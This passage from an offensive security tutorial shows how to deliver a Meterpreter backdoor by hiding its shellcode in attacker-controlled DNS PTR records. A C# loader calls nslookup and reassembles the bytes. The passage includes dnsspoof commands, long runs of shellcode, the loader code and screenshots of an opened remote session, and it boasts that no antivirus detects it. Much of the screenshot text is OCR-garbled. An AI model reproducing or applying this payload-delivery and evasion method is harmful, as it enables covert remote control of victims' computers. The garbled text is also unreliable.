1023 544.604869000 192.168.1.50 192.168.1.113 DNS 162 Standard query response 0x0002	PTR 0x480x310xc00xac0x3c0x510x/c0x020x2c0x200x410xc10xc90x000x41.1.com
1032 340.000813000 192.108.1.30 192.108.1.113 DNS 102 Standard query response 0x0002	PTR UX010XC10XE20XE00X520X410X510X460X800X520X200X800X420X50X46.1.C0m
1041 348.709740000 192.106.1.30 192.106.1.113 DNS 102 Standard query response 0x0002	PTR 0X010X000X060X610X/80X180X000X20X010X850X/20X000X000X000X800X861.1.C0m
1052 550 916589000 102 168 1 50 102 168 1 112 DNS 162 Standard query response 0x0002	PTR 0X800X860X000X000X000X40X80X800XC00X/40X80/0X460X010X400X500X80.1.C0m
1072 552 85550000 192 168 1 50 192 168 1 113 DNS 162 Standard query response 0x0002	PTR 0/480/x160/x40/x80/x40/x200/x40/x10/x200/x40/x10/x200/x40/x110/x200/x40/x110/x200/x40/x110/x200/x40/x110/x200/x40/x10/x200/x200/x200/x200/x10/x200/x10/x200/x10/x200/x20
1082 556 00353600 102 168 1 50 102 168 1 113 DNS 162 Standard guery response 0x0002	
1090 558 940017000 192 168 1 50 192 168 1 113 DNS 163 Standard query response 0x0002	PTR "0x390xd10x750xd80x580x40x8b0x400x240x490x010xd00x660x410x8b1 com"
1100 560,990060000 192,168,1,50 192,168,1,113 DNS	PTR "0x0c0x480x440x8b0x400x1c0x490x010xd00x410x8b0x040x880x480x01.1.com"
1112 563.045987000 192.168.1.50 192.168.1.113 DNS 163 Standard guery response 0x0002	PTR "0xd00x410x580x410x580x5e0x590x5a0x410x580x410x580x410x5a0x48.1.com"
1122 565,107510000 192,168,1,50 192,168,1,113 DNS 163 Standard guery response 0x0002	PTR "0x830xec0x200x410x520xff0xe00x580x410x590x5a0x480x8b0x120xe9.1.com"
1133 567.170186000 192.168.1.50 192.168.1.113 DNS 163 Standard guery response 0x0002	PTR "0x4b0xff0xff0xff0x5d0x490xbe0x770x730x320x5f0x330x320x000x00.1.com"
1145 569 235654000 192 168 1 50 192 168 1 113 DNS 163 Standard query response 0x0002	- PTR - "0x410x560x490x890xe60x480x810xec0xa00x010x000x000x490x890xe5_1_com" - 🔼
🗄 Frame 982: 162 bytes on wire (1296 bits), 162 bytes captured (1296 bits) on interface 0	
Bethernet II, Src:	
Internet Protocol Version 4, Src: 192.168.1.50 (192.168.1.50), Dst: 192.168.1.113 (192.16	8.1.113)
🗄 User Datagram Protocol, Src Port: 53 (53), Dst Port: 51899 (51899)	
🗆 Domain Name System (response)	=
[Request In: 981]	-
[Time: 0.000456000 seconds]	
Transaction ID: 0x0002	
■ Flags: 0x8580 Standard query response, No error	
Questions: 1	
Answer KKS: 1	
Additional and O	
□ Queries □ 1 1 1 1 in_addr arna: type PTP_ class TN	
Name: 1 1 1 1 in-addr arna	-
	A
0020	=
0030	
0040	
■ 🕅 Wireless Network Connection 3: < live captur Packets: 51087 · Displayed: 668 (1.3%)	Profile: Default

Picture 8: Transfer Meterpreter Payloads by DNS Traffic

Finally after 34 countdown you will have Meterpreter Session in Attacker Side like picture 9 and unfortunately as you can see my

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

Anti-Viruses can't detect this Technique, and I think the most AVs can't Detect this Technique so if you Check this Technique by other AVs please tell me by Writing comment here also please explain which one of AVs detected this Technique and what version;) thank you guys.

Proot@kali: ~		聲 root@kali: ~	
[*] Starting the payload handler		root@kali:~#	
\underline{msf} exploit(handler) > [*] Sending stage (1189423 bytes) to :	192.168.1.113	root(kal1: # dnsspoof -1 eth0 -f /root,	Desktop/dns.txt
[*] Meterpreter session 7 opened (192.168.1.50:4444 -> 192.1)	68.1.113:60426) at 2017-01-18 01:09:1	192.168.1.113.65463 > 192.168.1.50.53;	2+ PTR2 0.1.1.1.in-addr.arpa
2 +0000 maf evoloit(hondlor) > sessions -i 7		192.168.1.113.65465 > 192.168.1.50.53:	2+ PTR? 1.1.1.1.in-addr.arpa
[*] Starting interaction with 7		192.168.1.113.65467 > 192.168.1.50.53:	2+ PTR? 2.1.1.1.in-addr.arpa
		192.168.1.113.65469 > 192.168.1.50.53:	2+ PTR? 3.1.1.1.in-addr.arpa
meterpreter > getpid		192.168.1.113.65471 > 192.168.1.50.53:	2+ PTR? 4.1.1.1.in-addr.arpa
Current pid: 1792		192.168.1.113.59292 > 192.168.1.50.53:	2+ PTR? 5.1.1.1.in-addr.arpa
meterpreter > ps -S 1792		192.168.1.113.59294 > 192.168.1.50.53	2+ PIR? 6.1.1.1.1n-addr.arpa
		192.168.1.113.57076 > 192.168.1.50.55; 192.168.1.113.57080 > 192.168.1.50.53;	2+ PTR2 8 1 1 1 in-addr arna
Process List		192.168.1.113.57082 > 192.168.1.50.53:	2+ PTR? 9.1.1.1.in-addr.arpa
		192.168.1.113.57084 > 192.168.1.50.53:	2+ PTR? 10.1.1.1.in-addr.arpa
PID PPID Name Arch Session Us	er Path	192.168.1.113.57086 > 192.168.1.50.53:	2+ PTR? 11.1.1.1.in-addr.arpa
		192.168.1.113.57088 > 192.168.1.50.53:	2+ PTR? 12.1.1.1.in-addr.arpa
1792 6648 NativePayload_DNS.exe x64 1 PC	7\Damon C:\Users\Damon.PC7\Documents	192.168.1.113.57432 > 192.168.1.50.53:	2+ PTR? 13.1.1.1.in-addr.arpa
\Visual Studio 2008\Projects\NativePayload_DNS\NativePayload	_DNS\bin\Debug\NativePayload_DNS.exe	192.168.1.113.60675 > 192.168.1.50.53	2+ PTR? 14.1.1.1.in-addr.arpa
		192.168.1.113.60677 > 192.168.1.50.53	2+ PIR: 15.1.1.1.1.in-addr.arpa
meterpreter >	*	192.168.1.113.60681 > 192.168.1.50.53	2+ PTR: 17.1.1.1.in-addr.arpa
		192.168.1.113.55055 > 192.168.1.50.53:	2+ PTR? 18.1.1.1.in-addr.arpa
Command Prompt - NativePayload_DNS.exe 1.1.1. 34 192.168.1.50		192.168.1.113.55057 > 192.168.1.50.53:	2+ PTR? 19.1.1.1.in-addr.arpa
DNS Request Send: 1.1.1.22 DNS Request send: TR Record: "0v990vaE0v740v610v660v4E0v9E0		192.168.1.113.55059 > 192.168.1.50.53:	2+ PTR? 20.1.1.1.in-addr.arpa
DNS Request Send: 1.1.1.23	XC80X740X808X470X110XC68X736X63.1.C0M	192.168.1.113.56922 > 192.168.1.50.53:	2+ PTR? 21.1.1.1.in-addr.arpa
DNS Response type PTR Record: "Oxe80x930x000x000x000x480x830 DNS Request Send: 1 1 1 24	1xec0x100x480x890xe20x4d0x310xc9.1.com"	192.168.1.113.56924 > 192.168.1.50.53:	2+ PTR? 22.1.1.1.in-addr.arpa
DNS Response type PTR Record: "0x6a0x040x410x580x480x890xf90	x410xba0x020xd90xc80x5f0xff0xd5.1.com"	192.168.1.113.56926 > 192.168.1.50.53	2+ PIR? 23.1.1.1.1n-addr.arpa
DNS Request Send: 1.1.1.25 DNS Response time PTR Record: "0v830vf80v000v7e0v550v480v830	Vc40v200v5e0v890vf60v6a0v400v41_1_com"	192.168.1.113.56930 > 192.168.1.50.53;	2+ PTR? 25.1.1.1.in-addr.arpa
DNS Request Send: 1.1.1.26		192.168.1.113.56932 > 192.168.1.50.53:	2+ PTR? 26.1.1.1.in-addr.arpa
DNS Response type PTR Record: "0x590x680x000x100x000x000x410 DNS Request Send: 1 1 1 27	1x580x480x890xf20x480x310xc90x41.1.com"	192.168.1.113.56934 > 192.168.1.50.53:	2+ PTR? 27.1.1.1.in-addr.arpa
DNS Response type PTR Record: "Oxba0x580xa40x530xe50xff0xd50	x480x890xc30x490x890xc70x4d0x31.1.com"	192.168.1.113.56936 > 192.168.1.50.53:	2+ PTR? 28.1.1.1.in-addr.arpa
DNS Request Send: 1.1.1.28 DNS Response type PTR Record: "Øyc90y490y890yf00y480y890yda0	x480x890x£90x410xba0x020xd90xc8.1.com"	192.168.1.113.60940 > 192.168.1.50.53:	2+ PTR? 29.1.1.1.in-addr.arpa
DNS Request Send: 1.1.1.29		192.168.1.113.58205 > 192.168.1.50.53:	2+ PTR? 30.1.1.1.in-addr.arpa
DNS Response type FIR Record: ^Ux5f0xff0xd50x830xf80x000x7d0 DNS Request Send: 1.1.1.30	1x280x580x410x570x590x680x000x40.1.com"	192.168.1.113.58207 > 192.168.1.50.53	2+ PIR? 31.1.1.1.1n-addr.arpa
DNS Response type PTR Record: "0x000x000x410x580x6a0x000x5a0	x410xba0x0b0x2f0x0f0x300xff0xd5.1.com"	$192.168.1.113.58209 \times 192.168.1.50.53$	2+ PTR? 32.1.1.1.1.1.=addr.arpa 2+ PTR? 33 1 1 1 in-addr arpa
DNS Request Send: 1.1.1.31 DNS Response type PTR Record: "0x570x590x410xba0x750x6e0x4d0	x610xff0xd50x490xff0xce0xe90x3c.1.com"		Et fikt öötttittitin adattaipa
DNS Request Send: 1.1.1.32			
DNS Request Send: 1.1.1.33	x290xcb0x480x850xfb0x750xb40x41.1.com"		
DNS Response type PTR Record: "Oxff0xe70x580x6a0x000x590x490	<pre>lxc70xc20xf00xb50xa20x560xff0xd5.1.com"</pre>		
Bingo Meterpreter session by DNS traffic ;>			
	🕘 🖾 🖓 🥙 🖉 💌 🕘] 1 💟 🛥 🚳 🔍 💌 🎘 🗖	🛓 🗅 🛱 🕼 🖽 💽 😿 4:40 AM

Picture 9: Meterpreter Session by DNS Traffic

And you can see my anti-virus again bypassed ;-) also this is my Result for scanning my Source Code by All anti-viruses now you can compare "Picture 3" with "Picture 10" Both Backdoors worked by same Payloads , (warning : Don't use VirusTotal or this site for testing your Codes Never ever)



Picture 10: NativePayload_DNS (AVs result = 0 detected)

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

And in the next picture you can see what happened behind my C# source code by NSLOOKUP tool.

Command Prompt - NativePayload	_DNS.exe 1.1.1. 34 19	2.168.1.50						- • •	lorer	r - Sysinternals: www.	sysinternal	s.com [F	C7\Damon]		
C:\Users\Damon.PC7\Documen	ts∖Visual Stud	lio 2008\Project	s∖Nati	vePavload_I	NS\Nati	vePavloa	d_DN9	S\bin\Deb	Vi	ew Process Find	Users H	lelp			
ug>NativePayload_DNS.exe 1 Getting Meterneter Pauload	.1.1. 34 192.1	168.1.50								1 🗖 🖉 🖾 🥆	P 19	H.A.			
DNS Server: 192.168.1.50	o by bito rrar										PID	CPU	Private Bytes	Working Set	Description
DNS Response type PTR Reco	rd: "ØxfcØx480	0x830xe40xf00xe8	ØxccØx	000×000×000	x410x51	0x410x50	Øx52.	.1.com ^o	e		676	0.01	2,860 K	4,620 K	Local Session Manager S Windown Locan Applicati
DNS Request Send: 1.1.1.1 DNS Response tune PTR Reco	wd: "0v510v560	1×480×310×d20×65	0~480~	870~220~600	\√48Ø√81	Øv52Øv18	ิด√48	1 com ^U	ar exe	e	4412	0 44	4 876 K	0,502 K 13 512 K	Windows Logori Applicati Windows Task Manager
DNS Request Send: 1.1.1.2	14. 87318730							111000	BshH	andler.exe	1784	0.44	1,536 K	1,236 K	Google Crash Handler
DNS Response type PTR Reco	rd: "0x8b0x520	3x200x480x8b0x72	0x500x	480×0£0×b70	lx4aØx4a	0x4d0x31	Øxc9.	.1.com"	ashH	landler64.exe	1864		1,664 K	1,232 K	Google Crash Handler
									xe		2576	0.03	139,680 K	118,524 K	Windows Explorer
									ew.ex	(e	5088	0.95	10,708 K	17,236 K	TCP/UDP endpoint view
									¢p64.	exe	5/32	0.81	21,9/2 K	35,044 K	Sysintemals Process Expl
									re eve	e .	1392	0.07	24 856 K	46 540 K	VMware Workstation
									ware	-unity-helper.exe	1660	0.02	6,332 K	14,704 K	VMware Unity Helper
									ware	-vmx.exe	5004	0.36	32,876 K	2,134,592 K	VMware Workstation VM
									vprin	ntproxy.exe	6216	0.01	6,224 K	10,972 K	VMware VPrint Proxy
									xe		5700	0.02	3,828 K	11,352 K	SSH, Telnet and Rlogin of
									ty.ex	e	3232	< 0.01	2,928 K	9,120 K	SSH, Telnet and Rlogin o
								~	yer.e	xe	5/28	2.62	128,420 K	9/,//6 K	Windows Media Player
A TONIS Surjeture la company	distance la serie				ſ		~			exe an exe	3208	0.01	3 736 K	6 680 K	Dumpcan
CPVIew - Sysinternais: www.sys	sinternais.com				L		23	note	pad.ex	ie is is it	4488	< 0.01	2,676 K	8,020 K	Notepad
File Options Process View F	Help							note	pad.ex	e	4872	< 0.01	2,676 K	8,020 K	Notepad
🔜 🗮 🔺 🗹								E cmd	.exe		6648		2,360 K	3,236 K	Windows Command Proc
Process T PID	P Local Address	Lo Bernote Address	Bern	State	Sent	Sent Butes	Br 🔺		VativeP	ayload_DNS.exe	7072	0.13	20,692 K	13,772 K	NativePayload_DNS
The support and 2755	TC INDODODOD	50000 [0:0:0:0:0:0:0:0]	0	LISTENING	Join	JOIN DYICS		e e	, nsloo	okup.exe	3184	0.17	1,568 K	3,888 K	nslookup
svchostexe 2756	UDP 0.0.0.0	61915 *	×	LISTENING	3	105			aint exe	okup.exe	4	0.20	N UDC, I	3,300 K	пяюокир
svchost.exe 1364	UDP 0.0.0.0	56784 *	×					CDUU las and	41.0/	Commit Channel 22	169/ D		7 Dhuring Human	72.209/	
services.exe 660	TCP 0.0.0.0 TC 10:0:0:0:0:0:0:0:0	49170 0.0.0.0	0					E CPU Usage: 8	.41%	Commit Charge: 32	.10% Pro	cesses: 0	Physical Usage	12.38%	
P putty.exe 5700	TCP 192.168.1.113	51502 192.168.1.50	22	ESTABLISHED	11	736		rootAkali:-	≖ ≢dn:	sspoof -i eth0	-f /ro	ot/Des	sktop/dns.txt		
putty.exe 3232	TCP 192.168.1.113	60269 192.168.1.50	22	ESTABLISHED	3	192	0	dnsspoof: 1	ister	ning on eth0 [udp dst	port	53 and not s	rc 192.1	68.1.50]
nslookup.exe 3184	UDP 0.0.0.0	61919 *	×					192.168.1.1	13.6	1916 > 192.168	.1.50.5	3: 2-	F PTR? 0.1.1.	1.in-add	r.arpa
Isass.exe 668	TCP 0.0.0.0	49154 0.0.0.0	0	LISTENING			=	192.168.1.1	13.6	1918 > 192.168	.1.50.5	3: 2-	+ PTR? 1.1.1.	1.in-add	r.arpa
💽 Isass.exe 668	TC [0:0:0:0:0:0:0:0]	49154 [0:0:0:0:0:0:0:0]	0	LISTENING				192.168.1.1	13.6	1920 > 192.168	.1.50.5	3: 2-	+ PTR? 2.1.1.	1.in-add	r.arpa
infrefox.exe 3580	TCP 127.0.0.1	49354 127.0.0.1	49355	ESTABLISHED											
AvastSvc.exe 3836	UDP 0.0.0.1	43333 127.0.0.1 59175 ×	43334 ×	ESTABLISHED											
AvastSvc.exe 3836	TCP 127.0.0.1	12025 0.0.0.0	0	LISTENING											
AvastSvc.exe 3836	TCP 127.0.0.1	12110 0.0.0.0	0	LISTENING											
Avastovc.exe 3836	TCF 127.0.0.1 TCD 127.0.0.1	12113 0.0.0.0	0	LISTENING			-								
		× 🔬 👩	-	e 🛛 🗊	. 🛷	ø 💌	۲		V	🧉 👩 🖌		2	. 🗈 🔺	- 	🕤 😼 5:01 AM

Picture 11 : Nslookup and UDP connections for DNS Traffic

Finally you can see my Meterpreter Session with tcpview tool and putty tool in next pictures

C:1.	Command Prompt - NativePayload_DN	IS.exe 1.1.1.34 192.168.1.50	
DNS	S Response type PTR Record:	"9x800x880x000x000x480x850xc00x740x670x480x010xd00x500x8b.1.com"	_
DNS	S Request Send: 1.1.1.7 S Response tupe PTR Record:	"By 480y 190y 440y 200y 400y 200y 400y 200y 560y 490y 560y 490y 560y 490y 560y 490y 50 yr	01
DNS	S Request Send: 1.1.1.8	displot: Tistering of eth (up us port 5 and not 50.100 to 10.1 1 is port 5 and not 51 12.100.1.5	0]
DNS	S Response type PTR Record:	"0x8b0x340x880x480x410xd60x4d0x310xc90x480x310xc00xac0x410xc1.1.com"	
DN	S Request Send: 1.1.1.9 S Peoperative PTP Peoped:	"Revola Ala Ala Ala Ala Ala Ala Ala Ala Ala A	
DNS	S Request Send: 1.1.1.10	> 122.106.1.50.33; 24 PHR/ 2.11.11H-ddddrpd	
DNS	S Response type PTR Record	CPView - Sysintemals: www.sysintemals.com	
DNS	S Request Send: 1.1.1.11	File Options Process View Help	
DNS	S Request Send: 1.1.1.12	> 192.165.1.50.53; 24 PR2 5.11.11n-addr.arpa	
DNS	S Response type PTR Record:	> 122.165.1.50.53; 24 PIR 6.11.1.1A=ddd.atpa	
DHS	S Request Send: 1.1.1.13	Process v PID P Local Address Io Bernote Address Bern State Sent Sent Bytes B(1) 192.168.1.50.53: 24 PIRP / .1.1.1.1n-addr.arpa	
DNS	S Request Send: 1.1.1.14	192 TEP 172.001 51472 172.001 51472 ESTADUSED	
DNS	S Response type PTR Record:	animale me 5700 TEP 127.00.1 5147.12.00.1 5147.2 ESTABLISTED 7 > 192.168.1.50.53; 24 PER7 91.11.11-addr.arpa	
DHS	S Request Send: 1.1.1.15	Putty exe 3/32 TCP 192168.113 6026 192168 50 22 ESTABLISHED 38 4/256	a
TIM	S Request Send: 1 1 1 16	□ NativePayload DNS.exe 3516 TCP 192 168.1.113 50263 192 168.1.50 4444 ESTABLISHED 23 8.910 > 192.168.1.50.53: 24 PTR? 11.1.1.1.n-addr.arp	a
DNS	S Response type PTR Record:	[V] [System Process] 0 TCP 127.0.0.1 50314 127.0.0.1 50313 TIME_WAIT	a
DNS	S Request Send: 1.1.1.17	[E] [System Process] 0 TCP 127.0.0.1 50306 127.0.0.1 50305 TIME_WAIT	a
TIM	S Response type PIR Record: S Request Send: 1 1 1 19	[System Process] 0 TCP 127.0.0.1 50301 127.0.0.1 50300 TIME_WAIT	a
DNS	S Response type PTR Record:	System Process] U UCP 12/UU1 50/233 12/UU1 50/232 IME_WAIL > 192.168.1.50.53: 2+ PTR? 15.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.19	[System Process] U ICP 127.00.1 50288 127.00.1 50287 IME_WAIT > 192.168.1.50.53: 2+ PTR? 16.1.1.1.in-addr.arp	a
DN	S Response type PTR Record:	192.168.1.50.53: 2+ PTR? 17.1.1.in-addr.arp	a
DN	S Response type PTR Record:	Endpoints: 27 Established: 7 Listening: 0 Time Wait: 20 Close Wait: 0 i> 192.168.1.50.53: 2+ PTR? 18.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.21	> 192.168.1.50.53: 2+ PTR? 19.1.1.1.in-addr.arp	a
DN	8 Response type PTR Record:	"#x480x890xc?0x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com" 192.168.1.113.52950 > 192.168.1.50.53: 2+ PTR? 20.1.1.1.in-addr.arp	a
DNS	s Request Sena: 1.1.1.22 S Response tupe PTR Record:	"9299922507240x610x610x610x650x850xc60x240x640x490xf60xce0x250xe5 1_com" 192.168.1.113.52952 > 192.168.1.50.53: 2+ PTR? 21.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.23	192.168.1.113.52954 > 192.168.1.50.53: 2+ PTR? 22.1.1.1.in-addr.arp	а
DNS	S Response type PTR Record:	"0xe80x930x000x000x000x000x80x830xec0x100x480x890xe20x4d0x310xc9.1.com" 192.168.1.113.50090 > 192.168.1.50.53: 2+ PTR? 23.1.1.1.in-addr.arp	a
	5 Request Send: 1.1.1.24 S Response tupe PTR Record:	192.168.1.113.51791 > 192.168.1.50.53: 2+ FTR? 24.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.25	192.168.1.113.51793 > 192.168.1.50.53: 2+ FTR? 25.1.1.1.in-addr.arp	a
DNS	S Response type PTR Record:	"0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x6a0x400x41.1.com" 192.168.1.113.51795 > 192.168.1.50.53: 2+ PTR? 26.1.1.1.in-addr.arp	a
	S Request Send: 1.1.1.26 S Response tupe PTR Record:	"40-590-680-680-680-480-480-480-480-480-480-480-480-480-4	a
DNS	S Request Send: 1.1.1.27	192.168.1.113.51799 > 192.168.1.50.53: 2+ PTR? 28.1.1.1.in-addr.arp	a
DNS	S Response type PTR Record:	"0xba0x580xa40x530xe50xff0xd50x480x890xc30x490xc80xc70x4d0x31.1.com" 192.168.1.113.53656 > 192.168.1.50.53: 2+ PTR? 29.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.28 C People ture PTP People.	192.168.1.113.53658 > 192.168.1.50.53: 2+ PTR? 30.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.29	192.168.1.113.53660 > 192.168.1.50.53: 2+ PTR? 31.1.1.1.in-addr.arp	a
DNS	S Response type PTR Record:	"0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 192.168.1.113.53662 > 192.168.1.50.53: 2+ PTR? 32.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.30	192.499.499.419.599.6.9.419.59.52.24 PTR? 33.1.1.1.in-addr.arp	a
DNS	S Request Send: 1.1.1.31	97999799974197799704979997349719794979997197919799719709719709719701	
DNS	8 Response type PTR Record:	"0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com"	
DNS	S Request Send: 1.1.1.32	10. FFR. FFR. FFR. 400. 00	
TINS	S Request Send: 1 1 1 33		
DNS	S Response type PTR Record:	"0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"	
	M., , , , , , , , , , , , , , , , , , ,		
81	igo necerpreter session by	DNS CPARFIC 3/	
7			
Y	🎦 🥝 🖾 🖉	💻 🛄 🔍 🛝 🔛 👘 🧶 🖾 🖉 🖓 🖗 🔇 🖓 🔗 🚰 😤 🔍 🛄 🏋 🕑 🛄 🏌 🔛 🧐 🖓 🖓 🛤 - 🗄 🕀 🛃 🌜 🖓 652 AM	

Picture 12: Tcpview and TCP connection established when Backdoor Payload Downloaded from DNSServer.

in picture 13 you can see meterpreter Session too :

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)



Picture 13: Meterpreter Session.

At a glance : you can't trust to Anti-viruses for defense always so with this technique or other ways for Transfer Payload by other protocols in network , your network and your Client/Server is Vulnerable too so please check this technique in your Anti-viruses and share your Experience here by comments .

Creating C#.NET Code and Testing:

In this technique we used DNS traffic by PTR records so for doing this we need some tools or Code for Sending DNS traffic so in this case our Code uses NSLOOKUP tool for DNS requests and Response so in our C# Code we need to use this Command by this Code :

```
public static string __nslookup(string DNS_PTR_A, string DnsServer)
    ł
      /// Make DNS traffic for getting Meterpreter Payloads by nslookup
      ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DNS_PTR_A + " " + DnsServer);
      ns Prcs info.RedirectStandardInput = true;
      ns_Prcs_info.RedirectStandardOutput = true;
      ns_Prcs_info.UseShellExecute = false;
      // you can use Thread Sleep here
      Process nslookup = new Process();
      nslookup.StartInfo = ns_Prcs_info;
      nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
      nslookup.Start();
      /// if you want to change your Domain Name from "1.com" to "22.com"
      /// then you should change these Settings and Values too ;)
      string computerList = nslookup.StandardOutput.ReadToEnd();
      string[] lines = computerList.Split('\r', 'n');
      string last_line = lines[lines.Length - 4];
      string temp_1 = last_line.Remove(0, 11);
       _Records = "\"" + temp_1;
      int i = temp_1.LastIndexOf('.');
      string temp_2 = temp_1.Remove(i, (temp_1.Length - i));
      int b = temp_2.LastIndexOf('.');
      string final = temp_2.Remove(b, temp_2.Length - b);
      return final:
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)



Code 1:

as you can see in this "Code 1" our DNS_PTR_A variable is our IPAddress in this case "1.1.1." so

c:\> NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

- 1.1.1. is our DNS_PTR_A variable
- 34 is our _IPAddress_counter variable (we will talk about that in next pictures)
- 192.168.1.50 is our DnsServer variable

also in Picture "Code 1" you can see "Section 1" code , by this "Section 1" you will have NSLOOKUP with PTR output for each IPAddress like this , in this example this is Nslookup output "PTR Record" for IPAddress "1.1.1.1" also you can see this output in "Picture 2" by Cmd.exe too.

"0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"

Note: this Section 1 optimized for Domain Names by one character like "1.com" or "a.com" or "b.net" or "c.org" so if you want to change your Domain Name from one Character to two or three characters then you should change these codes too.





Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

in Picture "Code 2" you can see how our DNS_PTR_A variable will work in lines 105,106,107 so by this code



Important point in this code is here _IPaddress_Begin + i by this code you will have IPAddress 1.1.1. + I because our _Ipaddress_Begin = 1.1.1. and our I variable was started with 0 up to 33, why 33 because our _IPaddress_Counter = 33, it means we have 34 IPAddress.

```
_DATA[i] = __nslookup(_IPaddress_Begin + i, _DnsServer);
```

so we have something like this Commands by this section of code :

Now by this code you can make one Variable with all nslookup output or our Meterpreter Payload by PTR Records .

DATA += _DATA[i].ToString();

so by this code we have something like this :

DATA = "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com" +

"0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com" +

"0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com" +

"0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com" + +

"0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" + "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" + "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"

or

DATA =

"0xfc0x480x830xe40xf00xe80xcc0x000x000x410x510x410x500x52.1.com0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com0 x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com... 0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com0xff0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com"0xff0xe 70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com"

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)



Code 3:

in this step of code we should make Payload by this Variable "DATA" so for doing this first of all we can use "split()" for chunking Payloads .



"0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560"

string[] Payload___Without_delimiterChar = DATA.Split('x');

so by this code our DATA will transform to this

0, fc0, 480, 830, e40, f00, e80, cc0, 000, 000, 000, 410, 510, 410, 500, 52.1.com0, 510, 560

also you can see this technique by "split()" in Picture "Code 3-1"

Program.cs 👳 🗙		▼ Pro	operties 🔻	Ψ×
C# test	test.Program	+ 🖗 Main(string[] args) +		
1 Busing System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 Bnamespace test 7 { Class Program 9 { Class Program 11 { Static void Main(string[] args) 11 { String DATA = "0xfc0x480x830xe40xf1 12 string[] PayLoad_Without_delimiter	ውድe80xcc0x000x000x000x410x510x410x500x52.1.com"; Char = DATA.Split('x');	÷ 8		2
Watch 1				+⇒×
Name	Value		Туре	
Payload_Without_delimiterChar	{string[0x0000010]}		string	90
Ø [0]	"0"		् 👻 string	9
	"fc0"		Q, → string	9
[2]	"480"		Q, 🗸 string	9
[3]	"830"		🔍 👻 string	9
	"e40"		🔍 👻 string	
[5]	"f00"	(Q, + string	9
[6]	"e80"		🔍 👻 string	9
[7]	"cc0"	(Q → string	9
[8]	"000"	(Q, + string	9
[9]	"000"	(Q + string	9
[10]	"000"		Q → string	9
[11]	"410"		Q, + string	g
∉ [12]	"510"		Q + string	9
[13]	"410"		Q → string	9
∉ [14]	"500"		Q, + string	9
	"52.1.com"		Q - strine	y 👻
Call Stack Breakpoints Exception Settings Command Window Immediate Window	Output Autos Locals Watch 1			

Code 3-1:

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

Example C#_Code1 :

```
string[] Payload__Without_delimiterChar = DATA.Split('x');
    object tmp = new object();
    byte[] __Bytes = new byte[DATA.Length / 4];
    for (int i = 1; i < __Bytes.Length; i++)
    {
        tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
        byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
        __Bytes[i] = current;
    }
</pre>
```

in next picture "Code 3-2" I will explain why I used "DATA.Lentgth / 4", this is important because we want make one variable for our Payloads with Bytes[] Type so we should know what is our Length for this Meterpreter Payload so for figure out this just need to see Picture "Code 3-2" in this Picture you can see we have 4 strings between each "x" :

```
it means 3 strings + x = 4 strings
```

```
0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com0x510x560'
```

also you can use this Example C#_Code2 if you got ERROR with this Example C#_Code1.

Example C#_Code2 :

```
string[] Payload__Without_delimiterChar = DATA.Split('x');
    object tmp = new object();
    byte[]__Bytes = new byte[Payload__Without_delimiterChar .Length];
    for (int i = 1; i < __Bytes.Length; i++)
    {
        tmp = Payload__Without_delimiterChar[i].ToString().Substring(0, 2);
        byte current = Convert.ToByte("0x" + tmp.ToString(), 16);
        __Bytes[i] = current;
    }
}</pre>
```

ok both of these codes will work very well but we have one problem by this Code so I will explain where is Problem , the problem is first string in this Payload .

